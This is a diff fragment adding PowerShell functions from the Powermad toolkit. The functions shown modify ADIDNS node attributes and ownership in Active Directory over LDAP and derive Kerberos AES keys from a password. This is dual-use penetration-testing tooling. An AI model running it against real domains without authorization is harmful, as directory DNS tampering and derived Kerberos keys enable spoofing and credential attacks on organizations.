+        [parameter(Mandatory=$true)][String]$Attribute,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$true)]$Value,
+        [parameter(Mandatory=$false)][Switch]$Append,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+
+        if($Append)
+        {
+            $directory_entry.$Attribute.Add($Value) > $null
+            $directory_entry.SetInfo()
+            Write-Output "[+] ADIDNS node $Node $attribute attribute appended"
+        }
+        else
+        {
+            $directory_entry.InvokeSet($Attribute,$Value)
+            $directory_entry.SetInfo()
+            Write-Output "[+] ADIDNS node $Node $attribute attribute updated"
+        }
+
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Set-ADIDNSNodeOwner
+{
+    <#
+    .SYNOPSIS
+    This function can sets the owner of an ADIDNS Node.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can sets the owner of an ADIDNS Node.
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Principal
+    The user or group that will be granted ownsership.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Set the owner of a node named test to user1.
+    Set-ADIDNSNodeOwner -Node test -Principal user1
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$true)][String]$Principal,
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+       
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $account = New-Object System.Security.Principal.NTAccount($Principal)
+        $directory_entry.PsBase.ObjectSecurity.setowner($account)
+        $directory_entry.PsBase.CommitChanges()
+
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+#endregion
+
+#region begin Miscellaneous Functions
+
+function Get-KerberosAESKey
+{
+    <#
+    .SYNOPSIS
+    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
+    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
+    
+    https://tools.ietf.org/html/rfc3962
+    https://msdn.microsoft.com/library/cc233855.aspx
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause   
+
+    .PARAMETER Password
+    [String] Valid password.
+
+    .PARAMETER Salt
+    [String] Concatenated string containing the realm and username/hostname.
+    AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator)
+    AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase
+    realm (e.g., TEST.LOCALhostwks1.test.local)
+
+    .PARAMETER Iteration
+    [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the
+    default of 4096.
+    
+    .PARAMETER OutputType
+    [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings.
+    AES128Byte and AES256Byte will output byte arrays.
+
+    .EXAMPLE
+    Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1
+    Verify results against first RFC3962 sample test vectors in section B.
+    
+    .EXAMPLE
+    Get-KerberosAESKey -Salt TEST.LOCALuser
+    Generate keys for a valid AD user.
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    ( 
+        [parameter(Mandatory=$true)][String]$Salt,
+        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
+        [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES",
+        [parameter(Mandatory=$false)][Int]$Iteration=4096
+    )
+    
+    if(!$Password)
+    {
+        $password = Read-Host -Prompt "Enter password" -AsSecureString
+    }
+
+    $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
+    $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
+    
+    [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext)
+    [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
+    $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4
+    $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93
+    $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
+    $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration)
+    $PBKDF2_AES256_key = $PBKDF2.GetBytes(32)
+    $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15]
+    $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-",""
+    $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-",""
+    Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string"
+    Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string"
+    $AES = New-Object "System.Security.Cryptography.AesManaged"
+    $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+    $AES.Padding = [System.Security.Cryptography.PaddingMode]::None
+    $AES.IV = $IV
+    # AES 256
+    $AES.KeySize = 256
+    $AES.Key = $PBKDF2_AES256_key
+    $AES_encryptor = $AES.CreateEncryptor()
+    $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length)
+    $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length)
+    $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15]
+    $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-",""    
+    # AES 128
+    $AES.KeySize = 128
+    $AES.Key = $PBKDF2_AES128_key
+    $AES_encryptor = $AES.CreateEncryptor()
+    $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length)
+    $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-",""
+    Remove-Variable password_cleartext
+    
+    switch($OutputType)
+    {
+    
+        'AES'
+        {
+            Write-Output "AES128 Key: $AES128_key_string"
+            Write-Output "AES256 Key: $AES256_key_string"
+        }
+        
+        'AES128'
+        {
+            Write-Output "$AES128_key_string"
+        }
+        
+        'AES256'
+        {
+            Write-Output "$AES256_key_string"
+        }
+        
+        'AES128ByteArray'
+        {
+            Write-Output $AES128_key
+        }
+        
+        'AES256ByteArray'
+        {
+            Write-Output $AES256_key
+        }
+        
+    }
+    
+}
+
+#endregion

Some files were not shown because too many files changed in this diff